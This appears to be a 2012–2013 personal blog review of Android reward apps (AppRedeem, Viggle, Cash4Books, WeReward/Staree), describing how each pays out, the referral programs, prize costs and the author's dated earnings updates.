There is a Very good referral program that currently earns the referrer 250 points, the referral also gets bonus points when they enter the bonus code.The amount the referral earns changes sometimes but as of right now I think it is 90. Sometimes there are bonus points for the referrer, I have seen it as high as 2000 points per iPhone referral at times. I appreciate anyone using my bonus code sodaguy so we can both get some extra points.

Update December 20th, 2012 - I got a message from Appredeem today saying that the referral program has been discontinued. This is likely because of widespread abuse by people taking advantage this generous program by posting referral codes in places that they don't belong. This spam was being put all over the place and usually included lies about the income potential of Appredeem. I personally have been spammed on my lenses and websites by many of these individuals. This is unfortunate for legitimate users but it is probably the only way this problem could be addressed.

These are the links to download Appredeem and Apptrailers for Android for free in the Google Play Store.

Warning: Do not ever post your AppRedeem referral code in any app store. Doing this will get you banned and you will forfeit all unpaid earnings.

Viggle

An App That Pays You To Watch TV

The official Viggle app for Android has arrived! Viggle had previously been available only for IOS since it launched in January of 2012. Since the original launch of Viggle, I have been paid a total of 25 times for total lifetime earnings of $235 worth of Amazon and iTunes gift cards, just for watching a little TV.

Update October, 2012 - Since I wrote this review of Viggle the earnings potential has been reduced substantially. The amount you get for activities has been reduced and the amount you pay for gift cards has increased. I still believe this is a worthwhile opportunity, it is just a much smaller opportunity than it used to be.

Update - as of October 10th, 2012 - I have been paid a total of 30 times by Viggle for a total of $285 worth of Amazon and iTunes gift cards.

With Viggle, you get paid points that can be redeemed for different prizes. All you need to do to get points is check in to your favorite TV shows while you are watching them, watch in app commercials, and play games. To get paid for watching TV all you have to do is open up the app and check in while it is on. Viggle actually recognizes what show and channel you are watching. There is a limit of 12 hours of paid check ins per day, currently they are paying about 60 points per hour for watching TV. When you watch the in app commercials they pay anywhere from 5-125 points per commercial. Recently they updated the system so you don't see the commercials until you have checked into a show that day.

Viggle Live is a trivia game that Viggle does during shows they really want you to watch and during major events like the Super Bowl. During Viggle live events they not only have you answer trivia questions, but also make predictions,and vote in polls during the show. I was a really big sports fan when I was a kid, at some point I grew out of sports. Now that I have Viggle live I enjoy watching games much more because it gives me the fun of gambling without the potential to lose any money. If you play Viggle live during the major events the correct answers usually pay between 100-300 points. I have seen predictions pay up to 5000 points for predicting the Daytona 500 winner. For incorrect answers you usually still get 5-15 points each, just for playing.

There are always a fair amount of shows that pay bonus points that you get on top of the regular 60 points an hour for checking in. The Bonus points per show frequently change but they tend to be between 100-400 extra points per check in. In order to recieve bonus points for a show you must be checked in for at least 10 minutes, if you check in to a show that is offering bonus points during the last 5 minutes it is a Violation of the TOS and Viggle can terminate your account. It is best to try to do all check ins at the beginning of a show.

Viggle does have a referral program that pays 200 points for each active referral. You get paid the bonus after your referral makes their first check in.

It is very important to understand that the selection of prizes available and the cost of those prizes can change at anytime. Viggle says they restock prizes everyday and they have not quite figured out exactly what everything will be consistently. The first week Viggle went live there was a Viggle Deal on Amazon $5 gift cards, they cost only 4000 points each. As of this writing the featured prizes have changed many times and there are no Viggle Deals right now.

Viggle points can be exchanged for prizes at the rate of about 9000 points for a $5 gift card if the prize is not on sale. Amazon Gift Cards appear very sporadically and tend to sell out very quickly.There are a large amount of other gift card prizes available that can include but not be limited to: Best Buy, Lowes, Old Navy, Hulu Plus, Starbucks, Spotify, Hot Topic, Cvs, Chilis, Facebook Credits, Barnes and Noble and iTunes. Sometimes there are also some Physical products like a MacBook Air for 3,750,000 points. Even a Royal Carribean Cruise for 4,000,000 points. If you prefer to donate your earnings, there is an option to donate either to the National Breast Cancer Foundation or the Boys and Girls club. Viggle prizes and availability can change at any time.

Viggle has instituted a maximum amount of $550 in earnings per person in a calender year. Also, there is a 12,000 point per day maximum cap on earnings on days where there is no major Viggle Live event.

Please don't try to cheat or hack Viggle, they have provided us with such an amazing and generous opportunity to earn a large amount of prizes for doing almost nothing, if you cheat them it will only result in lowered earning potential for everyone.

Here is the link to download Viggle for free in the Android store: Viggle

Cash4Books

Get Paid For Used Books And Games

Turn used books into cash with Cash4Books and your Android. The way you earn money with this app is to find used books that are being sold, then you scan the barcodes of a book to check their database and if the price is lower to buy the book than they pay you for it, you can make money by buying the book and selling it to them. Some good places to find used books are garage sales, flea markets, and used book stores.

Within days after they receive the books from you, they will pay you either by PayPal or check. The books they buy must have been published within the last 5 years and meet the quality criteria. Of course the prices you get will vary by market conditions.They cover the shipping of the books your sell them. I have not personally used this app but I have done a few scans on books around my house and they seem to have a very extensive database. There is a referral program that pays $5 for every new referral once they sell a book.



Here is the link for the free Cash4Books Android app in the Google Play Store: Cash4Books

We Reward/Staree

Get Paid To Check In

WeReward from Izea is an app that pays you for doing various things on your Android. You earn points by downloading apps, checking into stores, taking pictures, and answering profile questions. Each point you earn is worth .01 and the activities have different payment levels

Update - As of January, 2013 - I have only been paid by WeReward 1 time by and that was over a year ago. WeReward has been replaced with Staree and my pending balance was cleared due to inactivity. I do not recommend these apps due to really slow earnings and questionable business practices.

At this point I have 17 referrals and the total I have cashed out is $15.05, I still have a $3.91 pending balance. I personally prefer to get paid for downloading and trying apps instead of me paying for them. The largest single amount I have received so far was $10 for signing up to Nielson Digital Voice .

They also have a nice referral program that pays 10% of your referrals earnings. The minimum to cash out is $10.00 and it is paid directly to Paypal.

Here is the link to download Staree for free on Android: Staree